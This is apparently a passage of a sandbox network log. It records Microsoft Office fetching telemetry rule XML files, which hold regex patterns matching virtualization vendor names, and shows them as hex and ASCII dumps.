2025-04-02 06:39:18 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.17	49780	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2025-04-02 06:39:18 UTC	199	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-04-02 06:39:18 UTC	471	IN	HTTP/1.1 200 OK Date: Wed, 02 Apr 2025 06:39:18 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: c3e0f4d1-f01e-0052-6899-a39224000000 x-ms-version: 2018-03-28 x-azure-ref: 20250402T063918Z-17cccd5449bk9jrqhC1EWRqvg4000000070g00000000ecdk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2025-04-02 06:39:18 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.17	49781	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2025-04-02 06:39:18 UTC	199	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-04-02 06:39:18 UTC	471	IN	HTTP/1.1 200 OK Date: Wed, 02 Apr 2025 06:39:18 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 34fb1ca9-101e-005a-2599-a3882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20250402T063918Z-17cccd5449bzw64jhC1EWRz23400000014z0000000006qwh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2025-04-02 06:39:18 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.17	49782	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2025-04-02 06:39:18 UTC	199	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-04-02 06:39:18 UTC	471	IN	HTTP/1.1 200 OK Date: Wed, 02 Apr 2025 06:39:18 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 97f4badc-401e-0029-7699-a39b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20250402T063918Z-17cccd5449bgvc9thC1EWR7dt000000014z0000000007p22 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2025-04-02 06:39:18 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.17	49783	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2025-04-02 06:39:18 UTC	199	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-04-02 06:39:19 UTC	471	IN	HTTP/1.1 200 OK Date: Wed, 02 Apr 2025 06:39:19 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: ebdbb4e0-601e-0032-5f99-a3eebb000000 x-ms-version: 2018-03-28 x-azure-ref: 20250402T063919Z-17cccd5449bsm7zrhC1EWR8efs0000000hr000000000eyt3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2025-04-02 06:39:19 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.17	49784	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2025-04-02 06:39:19 UTC	199	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-04-02 06:39:19 UTC	471	IN	HTTP/1.1 200 OK Date: Wed, 02 Apr 2025 06:39:19 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: 34fb1d0e-101e-005a-7f99-a3882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20250402T063919Z-17cccd5449b4tm5chC1EWRr59800000014z00000000073kf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2025-04-02 06:39:19 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.17	49785	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2025-04-02 06:39:19 UTC	199	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-04-02 06:39:19 UTC	471	IN	HTTP/1.1 200 OK Date: Wed, 02 Apr 2025 06:39:19 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: f09db0cc-401e-0035-4899-a382d8000000 x-ms-version: 2018-03-28 x-azure-ref: 20250402T063919Z-17cccd5449bsm7zrhC1EWR8efs0000000ht0000000009b79 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2025-04-02 06:39:19 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.17	49786	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2025-04-02 06:39:19 UTC	199	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-04-02 06:39:19 UTC	471	IN	HTTP/1.1 200 OK Date: Wed, 02 Apr 2025 06:39:19 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: b1a2ec3d-001e-00a2-6a99-a3d4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20250402T063919Z-17cccd5449bhkn97hC1EWRp7ew000000150g000000002uxf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2025-04-02 06:39:19 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.17	49787	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2025-04-02 06:39:19 UTC	199	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-04-02 06:39:19 UTC	471	IN	HTTP/1.1 200 OK Date: Wed, 02 Apr 2025 06:39:19 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 57ecc4bc-201e-0071-6399-a3ff15000000 x-ms-version: 2018-03-28 x-azure-ref: 20250402T063919Z-17cccd5449b6vb9jhC1EWRfnfg0000001510000000001y4d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2025-04-02 06:39:19 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.17	49788	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2025-04-02 06:39:19 UTC	199	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-04-02 06:39:19 UTC	471	IN	HTTP/1.1 200 OK Date: Wed, 02 Apr 2025 06:39:19 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: 7f5c7f06-801e-0067-5399-a3fe30000000 x-ms-version: 2018-03-28 x-azure-ref: 20250402T063919Z-17cccd5449bfs6jfhC1EWR678800000014ug00000000p9r8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2025-04-02 06:39:19 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.17	49789	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2025-04-02 06:39:19 UTC	199	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-04-02 06:39:19 UTC	471	IN	HTTP/1.1 200 OK Date: Wed, 02 Apr 2025 06:39:19 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: c103343e-201e-0003-5599-a3f85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20250402T063919Z-17cccd5449bj2jgkhC1EWRr8fn00000005eg0000000030de x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2025-04-02 06:39:19 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.17	49790	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2025-04-02 06:39:19 UTC	199	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-04-02 06:39:19 UTC	471	IN	HTTP/1.1 200 OK Date: Wed, 02 Apr 2025 06:39:19 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: b88ccda1-101e-0079-7e99-a35913000000 x-ms-version: 2018-03-28 x-azure-ref: 20250402T063919Z-17cccd5449blr9xfhC1EWR6mgs0000001510000000001rfg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2025-04-02 06:39:19 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.17	49791	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2025-04-02 06:39:19 UTC	199	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
